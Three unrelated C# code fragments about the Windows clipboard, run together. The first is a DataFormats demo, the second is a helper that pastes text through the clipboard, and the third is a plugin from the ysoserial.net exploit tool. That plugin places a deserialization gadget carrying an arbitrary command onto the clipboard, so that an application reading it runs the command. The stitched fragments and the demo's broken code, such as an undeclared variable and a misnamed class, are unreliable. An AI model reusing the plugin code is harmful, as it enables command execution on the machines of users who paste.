public static void Main() { PrintFormatInfo(DataFormats.GetFormat(DataFormats.Bitmap)); PrintFormatInfo(DataFormats.GetFormat(DataFormats.CommaSeparatedValue)); PrintFormatInfo(DataFormats.GetFormat(DataFormats.Dib)); PrintFormatInfo(DataFormats.GetFormat(DataFormats.Dif)); PrintFormatInfo(DataFormats.GetFormat(DataFormats.EnhancedMetafile)); PrintFormatInfo(DataFormats.GetFormat(DataFormats.FileDrop)); PrintFormatInfo(DataFormats.GetFormat(DataFormats.Html)); PrintFormatInfo(DataFormats.GetFormat(DataFormats.Locale)); PrintFormatInfo(DataFormats.GetFormat(DataFormats.MetafilePict)); PrintFormatInfo(DataFormats.GetFormat(DataFormats.OemText)); PrintFormatInfo(DataFormats.GetFormat(DataFormats.Palette)); PrintFormatInfo(DataFormats.GetFormat(DataFormats.PenData)); PrintFormatInfo(DataFormats.GetFormat(DataFormats.Riff)); PrintFormatInfo(DataFormats.GetFormat(DataFormats.Rtf)); PrintFormatInfo(DataFormats.GetFormat(DataFormats.Serializable)); PrintFormatInfo(DataFormats.GetFormat(DataFormats.StringFormat)); PrintFormatInfo(DataFormats.GetFormat(DataFormats.SymbolicLink)); PrintFormatInfo(DataFormats.GetFormat(DataFormats.Text)); PrintFormatInfo(DataFormats.GetFormat(DataFormats.Tiff)); PrintFormatInfo(DataFormats.GetFormat(DataFormats.UnicodeText)); PrintFormatInfo(DataFormats.GetFormat(DataFormats.WaveAudio)); // Add our own format PrintFormatInfo(DataFormats.GetFormat("Birthday")); // Test some basic stuff DataObject dobj; Control c; string rtf; c = new Control(); rtf = "\\r\\t\\f string"; // Load the data object dobj = new DataObject(DataFormats.Text, "I am text"); dobj.SetData(c.GetType(), c); dobj.SetData(DataFormats.Rtf, rtf); PrintFormats("GetFormats(): ", dobj.GetFormats()); // Count should be 5 PrintFormats("GetFormats(true): ", dobj.GetFormats(true)); // Count should be 5 PrintFormats("GetFormats(false): ", dobj.GetFormats(false)); // Count should be 3 Console.WriteLine("GetDataPresent(typeof(string)): {0}", dobj.GetDataPresent(typeof(string))); // We expect true Console.WriteLine("GetDataPresent(DataFormats.Text): {0}", dobj.GetDataPresent(DataFormats.Text)); // We expect true Console.WriteLine("GetDataPresent(DataFormats.WaveAudio): {0}", dobj.GetDataPresent(DataFormats.WaveAudio)); // We expect false Console.WriteLine("GetData(DataFormats.Rtf): {0}", dobj.GetData(DataFormats.Rtf)); // We expect "\r\t\f string" clipboard clip = new clipboard(); PrintClipboardContents(); IDataObject data; data = Clipboard.GetDataObject(); if (data != null && data.GetDataPresent(DataFormats.Bitmap)) { image = (Image)Clipboard.GetDataObject().GetData(DataFormats.Bitmap); } Bitmap i = new Bitmap("test.bmp"); string s = "bummerä"; Clipboard.SetDataObject(s); Application.Run(clip); }
private void SendText(GaoVM vm) { //Save current clipboard data. Dictionary <String, Object> dict = new Dictionary <String, Object>(); var dataObject = System.Windows.Forms.Clipboard.GetDataObject(); foreach (var format in dataObject.GetFormats()) { dict.Add(format, dataObject.GetData(format)); } bool isAppActivated = Convert.ToBoolean(App.Current.Properties[AppEnums.APP_PROP_KEY_ISACTIVATED]); if (isAppActivated) { this.Hide(); } //Change the clipboard data to Gao text. String goaText = ""; int count = 0; do { try { SkipClipboardUpdate(100); System.Windows.Forms.Clipboard.SetText(vm.Text); } catch (Exception e) { Debug.WriteLine(e.Message); } goaText = System.Windows.Forms.Clipboard.GetText(); SpinWait.SpinUntil(() => false, 10); } while (goaText != vm.Text && count < 100); //Send Gao text. SendKeys.SendWait("^{v}"); SpinWait.SpinUntil(() => false, 100); //Restore clipboard data. System.Windows.Forms.DataObject obj = new System.Windows.Forms.DataObject(); foreach (String format in dict.Keys) { obj.SetData(format, dict[format]); } //Restore the clipboard data. bool bRestore = false; for (int i = 0; i < 100 && !bRestore; i++) { try { SkipClipboardUpdate(100); System.Windows.Forms.Clipboard.SetDataObject(obj); bRestore = true; } catch (Exception e) { Debug.WriteLine(e.Message); bRestore = false; } } }
public object Run(string[] args) { // to solve this error: Current thread must be set to single thread apartment (STA) mode before OLE calls can be made // we cannot use the [STAThread] outside of this plugin // here is a solution var staThread = new Thread(delegate() { InputArgs inputArgs = new InputArgs(); List <string> extra; try { extra = options.Parse(args); inputArgs.Cmd = command; inputArgs.Minify = minify; inputArgs.UseSimpleType = useSimpleType; inputArgs.Test = test; } catch (OptionException e) { Console.Write("ysoserial: "); Console.WriteLine(e.Message); Console.WriteLine("Try 'ysoserial -p " + Name() + " --help' for more information."); System.Environment.Exit(-1); } object payload = ""; if (String.IsNullOrEmpty(command) || String.IsNullOrWhiteSpace(command)) { Console.Write("ysoserial: "); Console.WriteLine("Incorrect plugin mode/arguments combination"); Console.WriteLine("Try 'ysoserial -p " + Name() + " --help' for more information."); System.Environment.Exit(-1); } // Creates a new data object. System.Windows.Forms.DataObject myDataObject = new System.Windows.Forms.DataObject(); myDataObject.SetData(format, false, new AxHostStateMarshal(TextFormattingRunPropertiesGenerator.TextFormattingRunPropertiesGadget(inputArgs))); // for System.Windows.Forms /* * myDataObject.SetData(format, new DataSetMarshal(TextFormattingRunPropertiesGenerator.TextFormattingRunPropertiesGadget(inputArgs)), false); // for System.Windows */ Clipboard.Clear(); Clipboard.SetDataObject(myDataObject, true); if (test) { // PoC on how it works in practice try { IDataObject dataObj = Clipboard.GetDataObject(); Object test = dataObj.GetData(format); } catch (Exception err) { Debugging.ShowErrors(inputArgs, err); } } }); staThread.SetApartmentState(ApartmentState.STA); staThread.Start(); staThread.Join(); return("Object copied to the clipboard"); }